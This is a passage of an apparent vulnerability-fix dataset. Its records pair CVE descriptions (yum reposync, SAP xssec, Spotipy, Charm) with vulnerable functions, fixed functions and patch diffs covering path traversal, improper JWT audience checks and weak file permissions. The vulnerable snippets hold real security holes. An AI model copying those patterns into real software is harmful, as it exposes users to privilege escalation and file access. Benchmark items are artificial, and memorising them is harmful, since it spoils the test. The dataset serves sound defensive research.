opts.destdir\n        sys.exit(1)\n\n    my = RepoSync(opts=opts)\n    my.doConfigSetup(fn=opts.config, init_plugins=opts.plugins)\n\n    # Force unprivileged users to have a private temporary cachedir\n    # if they've not given an explicit cachedir\n    if os.getuid() != 0 and not opts.cachedir:\n        opts.tempcache = True\n\n    if opts.tempcache:\n        if not my.setCacheDir(force=True, reuse=False):\n            print >> sys.stderr, _(\"Error: Could not make cachedir, exiting\")\n            sys.exit(50)\n        my.conf.uid = 1 # force locking of user cache\n    elif opts.cachedir:\n        my.repos.setCacheDir(opts.cachedir)\n\n    # Lock if they've not given an explicit cachedir\n    if not opts.cachedir:\n        try:\n            my.doLock()\n        except yum.Errors.LockError, e:\n            print >> sys.stderr, _(\"Error: %s\") % e\n            sys.exit(50)\n\n    #  Use progress bar display when downloading repo metadata\n    # and package files ... needs to be setup before .repos (ie. RHN/etc.).\n    if not opts.quiet:\n        my.repos.setProgressBar(TextMeter(fo=sys.stdout), TextMultiFileMeter(fo=sys.stdout))\n    my.doRepoSetup()\n\n    if len(opts.repoid) > 0:\n        myrepos = []\n\n        # find the ones we want\n        for glob in opts.repoid:\n            add_repos = my.repos.findRepos(glob)\n            if not add_repos:\n                print >> sys.stderr, _(\"Warning: cannot find repository %s\") % glob\n                continue\n            myrepos.extend(add_repos)\n\n        if not myrepos:\n            print >> sys.stderr, _(\"No repositories found\")\n            sys.exit(1)\n\n        # disable them all\n        for repo in my.repos.repos.values():\n            repo.disable()\n\n        # enable the ones we like\n        for repo in myrepos:\n            repo.enable()\n\n    # --norepopath can only be sensibly used with a single repository:\n    if len(my.repos.listEnabled()) > 1 and opts.norepopath:\n        print >> sys.stderr, _(\"Error: Can't use --norepopath with multiple repositories\")\n        sys.exit(1)\n\n    try:\n        arches = rpmUtils.arch.getArchList(opts.arch)\n        if opts.source:\n            arches += ['src']\n        my.doSackSetup(arches)\n    except yum.Errors.RepoError, e:\n        print >> sys.stderr, _(\"Error setting up repositories: %s\") % e\n        # maybe this shouldn't be entirely fatal\n        sys.exit(1)\n\n    exit_code = 0\n    for repo in my.repos.listEnabled():\n        reposack = ListPackageSack(my.pkgSack.returnPackages(repoid=repo.id))\n\n        if opts.newest:\n            download_list = reposack.returnNewestByNameArch()\n        else:\n            download_list = list(reposack)\n\n        if opts.norepopath:\n            local_repo_path = opts.destdir\n        else:\n            local_repo_path = opts.destdir + '/' + repo.id\n\n        if opts.delete and os.path.exists(local_repo_path):\n            current_pkgs = localpkgs(local_repo_path)\n\n            download_set = {}\n            for pkg in download_list:\n                rpmname = os.path.basename(pkg.remote_path)\n                download_set[rpmname] = 1\n\n            for pkg in current_pkgs:\n                if pkg in download_set:\n                    continue\n\n                if not opts.quiet:\n                    my.logger.info(\"Removing obsolete %s\", pkg)\n                os.unlink(current_pkgs[pkg]['path'])\n\n        if opts.downloadcomps or opts.downloadmd:\n\n            if not os.path.exists(local_repo_path):\n                try:\n                    os.makedirs(local_repo_path)\n                except IOError, e:\n                    my.logger.error(\"Could not make repo subdir: %s\" % e)\n                    my.closeRpmDB()\n                    sys.exit(1)\n\n            if opts.downloadcomps:\n                wanted_types = ['group']\n\n            if opts.downloadmd:\n                wanted_types = repo.repoXML.fileTypes()\n\n            for ftype in repo.repoXML.fileTypes():\n                if ftype in ['primary', 'primary_db', 'filelists',\n                             'filelists_db', 'other', 'other_db']:\n                    continue\n                if ftype not in wanted_types:\n                    continue\n\n                try:\n                    resultfile = repo.retrieveMD(ftype)\n                    basename = os.path.basename(resultfile)\n                    if ftype == 'group' and opts.downloadcomps: # for compat with how --downloadcomps saved the comps file always as comps.xml\n                        basename = 'comps.xml'\n                    shutil.copyfile(resultfile, \"%s/%s\" % (local_repo_path, basename))\n                except yum.Errors.RepoMDError, e:\n                    if not opts.quiet:\n                        my.logger.error(\"Unable to fetch metadata: %s\" % e)\n\n        remote_size = 0\n        if not opts.urls:\n            for pkg in download_list:\n                local = os.path.join(local_repo_path, pkg.remote_path)\n                sz = int(pkg.returnSimple('packagesize'))\n                if os.path.exists(local) and os.path.getsize(local) == sz:\n                    continue\n                remote_size += sz\n\n        if hasattr(urlgrabber.progress, 'text_meter_total_size'):\n            urlgrabber.progress.text_meter_total_size(remote_size)\n\n        download_list.sort(key=lambda pkg: pkg.name)\n        if opts.urls:\n            for pkg in download_list:\n                local = os.path.join(local_repo_path, pkg.remote_path)\n                if not (os.path.exists(local) and my.verifyPkg(local, pkg, False)):\n                    print urljoin(pkg.repo.urls[0], pkg.remote_path)\n            continue\n\n        # create dest dir\n        if not os.path.exists(local_repo_path):\n            os.makedirs(local_repo_path)\n\n        # set localpaths\n        for pkg in download_list:\n            pkg.localpath = os.path.join(local_repo_path, pkg.remote_path)\n            pkg.repo.copy_local = True\n            pkg.repo.cache = 0\n            localdir = os.path.dirname(pkg.localpath)\n            if not os.path.exists(localdir):\n                os.makedirs(localdir)\n\n        # use downloader from YumBase\n        probs = my.downloadPkgs(download_list)\n        if probs:\n            exit_code = 1\n            for key in probs:\n                for error in probs[key]:\n                    my.logger.error('%s: %s', key, error)\n\n        if opts.gpgcheck:\n            for pkg in download_list:\n                result, error = my.sigCheckPkg(pkg)\n                if result != 0:\n                    rpmfn = os.path.basename(pkg.remote_path)\n                    if result == 1:\n                        my.logger.warning('Removing %s, due to missing GPG key.' % rpmfn)\n                    elif result == 2:\n                        my.logger.warning('Removing %s due to failed signature check.' % rpmfn)\n                    else:\n                        my.logger.warning('Removing %s due to failed signature check: %s' % rpmfn)\n                    os.unlink(pkg.localpath)\n                    exit_code = 1\n                    continue\n\n    my.closeRpmDB()\n    sys.exit(exit_code)"}], "fix_func": [{"id": "fix_py_325_1", "commit": "6a8de061f8fdc885e74ebe8c94625bf53643b71c", "file_path": "reposync.py", "start_line": 83, "end_line": 130, "snippet": "def parseArgs():\n    usage = _(\"\"\"\n    Reposync is used to synchronize a remote yum repository to a local \n    directory using yum to retrieve the packages.\n    \n    %s [options]\n    \"\"\") % sys.argv[0]\n\n    parser = OptionParser(usage=usage)\n    parser.add_option(\"-c\", \"--config\", default='/etc/yum.conf',\n        help=_('config file to use (defaults to /etc/yum.conf)'))\n    parser.add_option(\"-a\", \"--arch\", default=None,\n        help=_('act as if running the specified arch (default: current arch, note: does not override $releasever. x86_64 is a superset for i*86.)'))\n    parser.add_option(\"--source\", default=False, dest=\"source\", action=\"store_true\",\n                      help=_('operate on source packages'))\n    parser.add_option(\"-r\", \"--repoid\", default=[], action='append',\n        help=_(\"specify repo ids to query, can be specified multiple times (default is all enabled)\"))\n    parser.add_option(\"-e\", \"--cachedir\",\n        help=_(\"directory in which to store metadata\"))\n    parser.add_option(\"-t\", \"--tempcache\", default=False, action=\"store_true\",\n        help=_(\"Use a temp dir for storing/accessing yum-cache\"))\n    parser.add_option(\"-d\", \"--delete\", default=False, action=\"store_true\",\n        help=_(\"delete local packages no longer present in repository\"))\n    parser.add_option(\"-p\", \"--download_path\", dest='destdir',\n        default=os.getcwd(), help=_(\"Path to download packages to: defaults to current dir\"))\n    parser.add_option(\"--norepopath\", dest='norepopath', default=False, action=\"store_true\",\n        help=_(\"Don't add the reponame to the download path. Can only be used when syncing a single repository (default is to add the reponame)\"))\n    parser.add_option(\"-g\", \"--gpgcheck\", default=False, action=\"store_true\",\n        help=_(\"Remove packages that fail GPG signature checking after downloading\"))\n    parser.add_option(\"-u\", \"--urls\", default=False, action=\"store_true\",\n        help=_(\"Just list urls of what would be downloaded, don't download\"))\n    parser.add_option(\"-n\", \"--newest-only\", dest='newest', default=False, action=\"store_true\",\n        help=_(\"Download only newest packages per-repo\"))\n    parser.add_option(\"-q\", \"--quiet\", default=False, action=\"store_true\",\n        help=_(\"Output as little as possible\"))\n    parser.add_option(\"-l\", \"--plugins\", default=False, action=\"store_true\",\n        help=_(\"enable yum plugin support\"))\n    parser.add_option(\"-m\", \"--downloadcomps\", default=False, action=\"store_true\",\n        help=_(\"also download comps.xml\"))\n    parser.add_option(\"\", \"--download-metadata\", dest=\"downloadmd\",\n        default=False, action=\"store_true\",\n        help=_(\"download all the non-default metadata\"))\n    parser.add_option(\"\", \"--allow-path-traversal\", default=False,\n        action=\"store_true\",\n        help=_(\"Allow packages stored outside their repo directory to be synced \"\n               \"(UNSAFE, USE WITH CAUTION!)\"))\n    (opts, args) = parser.parse_args()\n    return (opts, args)"}, {"id": "fix_py_325_2", "commit": "6a8de061f8fdc885e74ebe8c94625bf53643b71c", "file_path": "reposync.py", "start_line": 133, "end_line": 359, "snippet": "def main():\n    (opts, dummy) = parseArgs()\n\n    if not os.path.exists(opts.destdir) and not opts.urls:\n        try:\n            os.makedirs(opts.destdir)\n        except OSError, e:\n            print >> sys.stderr, _(\"Error: Cannot create destination dir %s\") % opts.destdir\n            sys.exit(1)\n\n    if not os.access(opts.destdir, os.W_OK) and not opts.urls:\n        print >> sys.stderr, _(\"Error: Cannot write to  destination dir %s\") % opts.destdir\n        sys.exit(1)\n\n    my = RepoSync(opts=opts)\n    my.doConfigSetup(fn=opts.config, init_plugins=opts.plugins)\n\n    # Force unprivileged users to have a private temporary cachedir\n    # if they've not given an explicit cachedir\n    if os.getuid() != 0 and not opts.cachedir:\n        opts.tempcache = True\n\n    if opts.tempcache:\n        if not my.setCacheDir(force=True, reuse=False):\n            print >> sys.stderr, _(\"Error: Could not make cachedir, exiting\")\n            sys.exit(50)\n        my.conf.uid = 1 # force locking of user cache\n    elif opts.cachedir:\n        my.repos.setCacheDir(opts.cachedir)\n\n    # Lock if they've not given an explicit cachedir\n    if not opts.cachedir:\n        try:\n            my.doLock()\n        except yum.Errors.LockError, e:\n            print >> sys.stderr, _(\"Error: %s\") % e\n            sys.exit(50)\n\n    #  Use progress bar display when downloading repo metadata\n    # and package files ... needs to be setup before .repos (ie. RHN/etc.).\n    if not opts.quiet:\n        my.repos.setProgressBar(TextMeter(fo=sys.stdout), TextMultiFileMeter(fo=sys.stdout))\n    my.doRepoSetup()\n\n    if len(opts.repoid) > 0:\n        myrepos = []\n\n        # find the ones we want\n        for glob in opts.repoid:\n            add_repos = my.repos.findRepos(glob)\n            if not add_repos:\n                print >> sys.stderr, _(\"Warning: cannot find repository %s\") % glob\n                continue\n            myrepos.extend(add_repos)\n\n        if not myrepos:\n            print >> sys.stderr, _(\"No repositories found\")\n            sys.exit(1)\n\n        # disable them all\n        for repo in my.repos.repos.values():\n            repo.disable()\n\n        # enable the ones we like\n        for repo in myrepos:\n            repo.enable()\n\n    # --norepopath can only be sensibly used with a single repository:\n    if len(my.repos.listEnabled()) > 1 and opts.norepopath:\n        print >> sys.stderr, _(\"Error: Can't use --norepopath with multiple repositories\")\n        sys.exit(1)\n\n    try:\n        arches = rpmUtils.arch.getArchList(opts.arch)\n        if opts.source:\n            arches += ['src']\n        my.doSackSetup(arches)\n    except yum.Errors.RepoError, e:\n        print >> sys.stderr, _(\"Error setting up repositories: %s\") % e\n        # maybe this shouldn't be entirely fatal\n        sys.exit(1)\n\n    exit_code = 0\n    for repo in my.repos.listEnabled():\n        reposack = ListPackageSack(my.pkgSack.returnPackages(repoid=repo.id))\n\n        if opts.newest:\n            download_list = reposack.returnNewestByNameArch()\n        else:\n            download_list = list(reposack)\n\n        if opts.norepopath:\n            local_repo_path = opts.destdir\n        else:\n            local_repo_path = opts.destdir + '/' + repo.id\n\n        # Ensure we don't traverse out of local_repo_path by dropping any\n        # packages whose remote_path is absolute or contains up-level\n        # references (unless explicitly allowed).\n        # See RHBZ#1600221 for details.\n        if not opts.allow_path_traversal:\n            newlist = []\n            skipped = False\n            for pkg in download_list:\n                if is_subpath(pkg.remote_path, local_repo_path):\n                    newlist.append(pkg)\n                    continue\n                my.logger.warning(\n                    _('WARNING: skipping package %s: remote path \"%s\" not '\n                      'within repodir, unsafe to mirror locally')\n                    % (pkg, pkg.remote_path)\n                )\n                skipped = True\n            if skipped:\n                my.logger.info(\n                    _('You can enable unsafe remote paths by using '\n                      '--allow-path-traversal (see reposync(1) for details)')\n                )\n            download_list = newlist\n\n        if opts.delete and os.path.exists(local_repo_path):\n            current_pkgs = localpkgs(local_repo_path)\n\n            download_set = {}\n            for pkg in download_list:\n                rpmname = os.path.basename(pkg.remote_path)\n                download_set[rpmname] = 1\n\n            for pkg in current_pkgs:\n                if pkg in download_set:\n                    continue\n\n                if not opts.quiet:\n                    my.logger.info(\"Removing obsolete %s\", pkg)\n                os.unlink(current_pkgs[pkg]['path'])\n\n        if opts.downloadcomps or opts.downloadmd:\n\n            if not os.path.exists(local_repo_path):\n                try:\n                    os.makedirs(local_repo_path)\n                except IOError, e:\n                    my.logger.error(\"Could not make repo subdir: %s\" % e)\n                    my.closeRpmDB()\n                    sys.exit(1)\n\n            if opts.downloadcomps:\n                wanted_types = ['group']\n\n            if opts.downloadmd:\n                wanted_types = repo.repoXML.fileTypes()\n\n            for ftype in repo.repoXML.fileTypes():\n                if ftype in ['primary', 'primary_db', 'filelists',\n                             'filelists_db', 'other', 'other_db']:\n                    continue\n                if ftype not in wanted_types:\n                    continue\n\n                try:\n                    resultfile = repo.retrieveMD(ftype)\n                    basename = os.path.basename(resultfile)\n                    if ftype == 'group' and opts.downloadcomps: # for compat with how --downloadcomps saved the comps file always as comps.xml\n                        basename = 'comps.xml'\n                    shutil.copyfile(resultfile, \"%s/%s\" % (local_repo_path, basename))\n                except yum.Errors.RepoMDError, e:\n                    if not opts.quiet:\n                        my.logger.error(\"Unable to fetch metadata: %s\" % e)\n\n        remote_size = 0\n        if not opts.urls:\n            for pkg in download_list:\n                local = os.path.join(local_repo_path, pkg.remote_path)\n                sz = int(pkg.returnSimple('packagesize'))\n                if os.path.exists(local) and os.path.getsize(local) == sz:\n                    continue\n                remote_size += sz\n\n        if hasattr(urlgrabber.progress, 'text_meter_total_size'):\n            urlgrabber.progress.text_meter_total_size(remote_size)\n\n        download_list.sort(key=lambda pkg: pkg.name)\n        if opts.urls:\n            for pkg in download_list:\n                local = os.path.join(local_repo_path, pkg.remote_path)\n                if not (os.path.exists(local) and my.verifyPkg(local, pkg, False)):\n                    print urljoin(pkg.repo.urls[0], pkg.remote_path)\n            continue\n\n        # create dest dir\n        if not os.path.exists(local_repo_path):\n            os.makedirs(local_repo_path)\n\n        # set localpaths\n        for pkg in download_list:\n            pkg.localpath = os.path.join(local_repo_path, pkg.remote_path)\n            pkg.repo.copy_local = True\n            pkg.repo.cache = 0\n            localdir = os.path.dirname(pkg.localpath)\n            if not os.path.exists(localdir):\n                os.makedirs(localdir)\n\n        # use downloader from YumBase\n        probs = my.downloadPkgs(download_list)\n        if probs:\n            exit_code = 1\n            for key in probs:\n                for error in probs[key]:\n                    my.logger.error('%s: %s', key, error)\n\n        if opts.gpgcheck:\n            for pkg in download_list:\n                result, error = my.sigCheckPkg(pkg)\n                if result != 0:\n                    rpmfn = os.path.basename(pkg.remote_path)\n                    if result == 1:\n                        my.logger.warning('Removing %s, due to missing GPG key.' % rpmfn)\n                    elif result == 2:\n                        my.logger.warning('Removing %s due to failed signature check.' % rpmfn)\n                    else:\n                        my.logger.warning('Removing %s due to failed signature check: %s' % rpmfn)\n                    os.unlink(pkg.localpath)\n                    exit_code = 1\n                    continue\n\n    my.closeRpmDB()\n    sys.exit(exit_code)"}, {"id": "fix_py_325_3", "commit": "6a8de061f8fdc885e74ebe8c94625bf53643b71c", "file_path": "reposync.py", "start_line": 77, "end_line": 82, "snippet": "def is_subpath(path, root):\n    root = os.path.realpath(root)\n    path = os.path.realpath(os.path.join(root, path))\n    # join() is used below to ensure root ends with a slash\n    return path.startswith(os.path.join(root, ''))\n"}], "vul_patch": "--- a/reposync.py\n+++ b/reposync.py\n@@ -40,5 +40,9 @@\n     parser.add_option(\"\", \"--download-metadata\", dest=\"downloadmd\",\n         default=False, action=\"store_true\",\n         help=_(\"download all the non-default metadata\"))\n+    parser.add_option(\"\", \"--allow-path-traversal\", default=False,\n+        action=\"store_true\",\n+        help=_(\"Allow packages stored outside their repo directory to be synced \"\n+               \"(UNSAFE, USE WITH CAUTION!)\"))\n     (opts, args) = parser.parse_args()\n     return (opts, args)\n\n--- a/reposync.py\n+++ b/reposync.py\n@@ -93,6 +93,30 @@\n             local_repo_path = opts.destdir\n         else:\n             local_repo_path = opts.destdir + '/' + repo.id\n+\n+        # Ensure we don't traverse out of local_repo_path by dropping any\n+        # packages whose remote_path is absolute or contains up-level\n+        # references (unless explicitly allowed).\n+        # See RHBZ#1600221 for details.\n+        if not opts.allow_path_traversal:\n+            newlist = []\n+            skipped = False\n+            for pkg in download_list:\n+                if is_subpath(pkg.remote_path, local_repo_path):\n+                    newlist.append(pkg)\n+                    continue\n+                my.logger.warning(\n+                    _('WARNING: skipping package %s: remote path \"%s\" not '\n+                      'within repodir, unsafe to mirror locally')\n+                    % (pkg, pkg.remote_path)\n+                )\n+                skipped = True\n+            if skipped:\n+                my.logger.info(\n+                    _('You can enable unsafe remote paths by using '\n+                      '--allow-path-traversal (see reposync(1) for details)')\n+                )\n+            download_list = newlist\n \n         if opts.delete and os.path.exists(local_repo_path):\n             current_pkgs = localpkgs(local_repo_path)\n\n--- /dev/null\n+++ b/reposync.py\n@@ -0,0 +1,5 @@\n+def is_subpath(path, root):\n+    root = os.path.realpath(root)\n+    path = os.path.realpath(os.path.join(root, path))\n+    # join() is used below to ensure root ends with a slash\n+    return path.startswith(os.path.join(root, ''))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-50423", "cve_description": "SAP\u00a0BTP\u00a0Security Services Integration Library ([Python]\u00a0sap-xssec) - versions < 4.1.0, allow under certain conditions an escalation of privileges. On successful exploitation, an unauthenticated attacker can obtain arbitrary permissions within the application.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/SAP/cloud-pysec", "patch_url": ["https://github.com/SAP/cloud-pysec/commit/d90c9e0733fa9af68bd8ea0b1cf023cf482163ef"], "programing_language": "Python", "vul_func": [{"id": "vul_py_183_1", "commit": "77c8216", "file_path": "sap/xssec/security_context_ias.py", "start_line": 61, "end_line": 68, "snippet": "    def validate_audience(self):\n        \"\"\"\n        check `aud` in jwt token\n        \"\"\"\n        validation_result = self.audience_validator.validate_token(audiences_from_token=self.token_payload[\"aud\"])\n        if validation_result is False:\n            raise RuntimeError('Audience Validation Failed')\n        return self"}], "fix_func": [{"id": "fix_py_183_1", "commit": "d90c9e0", "file_path": "sap/xssec/security_context_ias.py", "start_line": 61, "end_line": 72, "snippet": "    def validate_audience(self):\n        \"\"\"\n        check `aud` in jwt token\n        \"\"\"\n\n        # Make sure `aud` is a list\n        aud = [self.token_payload[\"aud\"]] if isinstance(self.token_payload[\"aud\"], str) else self.token_payload[\"aud\"]\n        \n        validation_result = self.audience_validator.validate_token(audiences_from_token=aud)\n        if validation_result is False:\n            raise RuntimeError('Audience Validation Failed')\n        return self"}], "vul_patch": "--- a/sap/xssec/security_context_ias.py\n+++ b/sap/xssec/security_context_ias.py\n@@ -2,7 +2,11 @@\n         \"\"\"\n         check `aud` in jwt token\n         \"\"\"\n-        validation_result = self.audience_validator.validate_token(audiences_from_token=self.token_payload[\"aud\"])\n+\n+        # Make sure `aud` is a list\n+        aud = [self.token_payload[\"aud\"]] if isinstance(self.token_payload[\"aud\"], str) else self.token_payload[\"aud\"]\n+        \n+        validation_result = self.audience_validator.validate_token(audiences_from_token=aud)\n         if validation_result is False:\n             raise RuntimeError('Audience Validation Failed')\n         return self\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-27154", "cve_description": "Spotipy is a lightweight Python library for the Spotify Web API. The `CacheHandler` class creates a cache file to store the auth token. Prior to version 2.25.1, the file created has `rw-r--r--` (644) permissions by default, when it could be locked down to `rw-------` (600) permissions. This leads to overly broad exposure of the spotify auth token. If this token can be read by an attacker (another user on the machine, or a process running as another user), it can be used to perform administrative actions on the Spotify account, depending on the scope granted to the token. Version 2.25.1 tightens the cache file permissions.", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/spotipy-dev/spotipy", "patch_url": ["https://github.com/spotipy-dev/spotipy/commit/1ca453f6ef87a2a9e9876f52b6cb38d13532ccf2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_61_1", "commit": "668158f", "file_path": "spotipy/cache_handler.py", "start_line": 93, "end_line": 98, "snippet": "    def save_token_to_cache(self, token_info):\n        try:\n            with open(self.cache_path, \"w\", encoding='utf-8') as f:\n                f.write(json.dumps(token_info, cls=self.encoder_cls))\n        except OSError:\n            logger.warning(f\"Couldn't write token to cache at: {self.cache_path}\")"}], "fix_func": [{"id": "fix_py_61_1", "commit": "1ca453f", "file_path": "spotipy/cache_handler.py", "start_line": 93, "end_line": 102, "snippet": "    def save_token_to_cache(self, token_info):\n        try:\n            with open(self.cache_path, \"w\", encoding='utf-8') as f:\n                f.write(json.dumps(token_info, cls=self.encoder_cls))\n            # https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-pwhh-q4h6-w599\n            os.chmod(self.cache_path, 0o600)\n        except OSError:\n            logger.warning(f\"Couldn't write token to cache at: {self.cache_path}\")\n        except FileNotFoundError:\n            logger.warning(f\"Couldn't set permissions to cache file at: {self.cache_path}\")"}], "vul_patch": "--- a/spotipy/cache_handler.py\n+++ b/spotipy/cache_handler.py\n@@ -2,5 +2,9 @@\n         try:\n             with open(self.cache_path, \"w\", encoding='utf-8') as f:\n                 f.write(json.dumps(token_info, cls=self.encoder_cls))\n+            # https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-pwhh-q4h6-w599\n+            os.chmod(self.cache_path, 0o600)\n         except OSError:\n             logger.warning(f\"Couldn't write token to cache at: {self.cache_path}\")\n+        except FileNotFoundError:\n+            logger.warning(f\"Couldn't set permissions to cache file at: {self.cache_path}\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-27154:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/spotipy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2025-27154/bin/python  hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-27154:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/spotipy\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2025-27154/bin/python -m pytest -v tests/ -k \"not test_spotify_client_credentials_get_access_token\" "}
{"cve_id": "CVE-2022-29180", "cve_description": "A vulnerability in which attackers could forge HTTP requests to manipulate the `charm` data directory to access or delete anything on the server. This has been patched and is available in release [v0.12.1](https://github.com/charmbracelet/charm/releases/tag/v0.12.1). We recommend that all users running self-hosted `charm` instances update immediately. This vulnerability was found in-house and we haven't been notified of any potential exploiters. ### Additional notes * Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data. * Users running the official Charm [Docker images](https://github.com/charmbracelet/charm/blob/main/docker.md) are at minimal risk because the exploit is limited to the containerized filesystem.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/charmbracelet/charm", "patch_url": ["https://github.com/charmbracelet/charm/commit/3c90668f955c7ce5ef721e4fc9faee7053232fd3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_144_1", "commit": "9c620ae", "file_path": "server/http.go", "start_line": 280, "end_line": 315, "snippet": "func (s *HTTPServer) handlePostFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := pattern.Path(r.Context())\n\tms := r.URL.Query().Get(\"mode\")\n\tm, err := strconv.ParseUint(ms, 10, 32)\n\tif err != nil {\n\t\tlog.Printf(\"file mode not a number: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tf, fh, err := r.FormFile(\"data\")\n\tif err != nil {\n\t\tlog.Printf(\"cannot parse form data: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tdefer f.Close() // nolint:errcheck\n\tif s.cfg.UserMaxStorage > 0 {\n\t\tstat, err := s.cfg.FileStore.Stat(u.CharmID, \"\")\n\t\tif err != nil {\n\t\t\tlog.Printf(\"cannot stat user storage: %s\", err)\n\t\t\ts.renderError(w)\n\t\t\treturn\n\t\t}\n\t\tif stat.Size()+fh.Size > s.cfg.UserMaxStorage {\n\t\t\ts.renderCustomError(w, \"user storage limit exceeded\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t}\n\terr = s.cfg.FileStore.Put(u.CharmID, path, f, fs.FileMode(m))\n\tif err != nil {\n\t\tlog.Printf(\"cannot post file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}, {"id": "vul_go_144_2", "commit": "9c620ae", "file_path": "server/http.go", "start_line": 317, "end_line": 352, "snippet": "func (s *HTTPServer) handleGetFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := pattern.Path(r.Context())\n\tf, err := s.cfg.FileStore.Get(u.CharmID, path)\n\tif errors.Is(err, fs.ErrNotExist) {\n\t\ts.renderCustomError(w, \"file not found\", http.StatusNotFound)\n\t\treturn\n\t}\n\tif err != nil {\n\t\tlog.Printf(\"cannot get file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tdefer f.Close() // nolint:errcheck\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tlog.Printf(\"cannot get file info: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\n\tswitch f.(type) {\n\tcase *charmfs.DirFile:\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tdefault:\n\t\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\tw.Header().Set(\"Last-Modified\", fi.ModTime().Format(http.TimeFormat))\n\t}\n\tw.Header().Set(\"X-File-Mode\", fmt.Sprintf(\"%d\", fi.Mode()))\n\t_, err = io.Copy(w, f)\n\tif err != nil {\n\t\tlog.Printf(\"cannot copy file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}, {"id": "vul_go_144_3", "commit": "9c620ae", "file_path": "server/http.go", "start_line": 354, "end_line": 363, "snippet": "func (s *HTTPServer) handleDeleteFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := pattern.Path(r.Context())\n\terr := s.cfg.FileStore.Delete(u.CharmID, path)\n\tif err != nil {\n\t\tlog.Printf(\"cannot delete file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}], "fix_func": [{"id": "fix_go_144_1", "commit": "3c90668", "file_path": "server/http.go", "start_line": 281, "end_line": 316, "snippet": "func (s *HTTPServer) handlePostFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := filepath.Clean(pattern.Path(r.Context()))\n\tms := r.URL.Query().Get(\"mode\")\n\tm, err := strconv.ParseUint(ms, 10, 32)\n\tif err != nil {\n\t\tlog.Printf(\"file mode not a number: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tf, fh, err := r.FormFile(\"data\")\n\tif err != nil {\n\t\tlog.Printf(\"cannot parse form data: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tdefer f.Close() // nolint:errcheck\n\tif s.cfg.UserMaxStorage > 0 {\n\t\tstat, err := s.cfg.FileStore.Stat(u.CharmID, \"\")\n\t\tif err != nil {\n\t\t\tlog.Printf(\"cannot stat user storage: %s\", err)\n\t\t\ts.renderError(w)\n\t\t\treturn\n\t\t}\n\t\tif stat.Size()+fh.Size > s.cfg.UserMaxStorage {\n\t\t\ts.renderCustomError(w, \"user storage limit exceeded\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t}\n\terr = s.cfg.FileStore.Put(u.CharmID, path, f, fs.FileMode(m))\n\tif err != nil {\n\t\tlog.Printf(\"cannot post file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}, {"id": "fix_go_144_2", "commit": "3c90668", "file_path": "server/http.go", "start_line": 318, "end_line": 353, "snippet": "func (s *HTTPServer) handleGetFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := filepath.Clean(pattern.Path(r.Context()))\n\tf, err := s.cfg.FileStore.Get(u.CharmID, path)\n\tif errors.Is(err, fs.ErrNotExist) {\n\t\ts.renderCustomError(w, \"file not found\", http.StatusNotFound)\n\t\treturn\n\t}\n\tif err != nil {\n\t\tlog.Printf(\"cannot get file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\tdefer f.Close() // nolint:errcheck\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tlog.Printf(\"cannot get file info: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n\n\tswitch f.(type) {\n\tcase *charmfs.DirFile:\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tdefault:\n\t\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\tw.Header().Set(\"Last-Modified\", 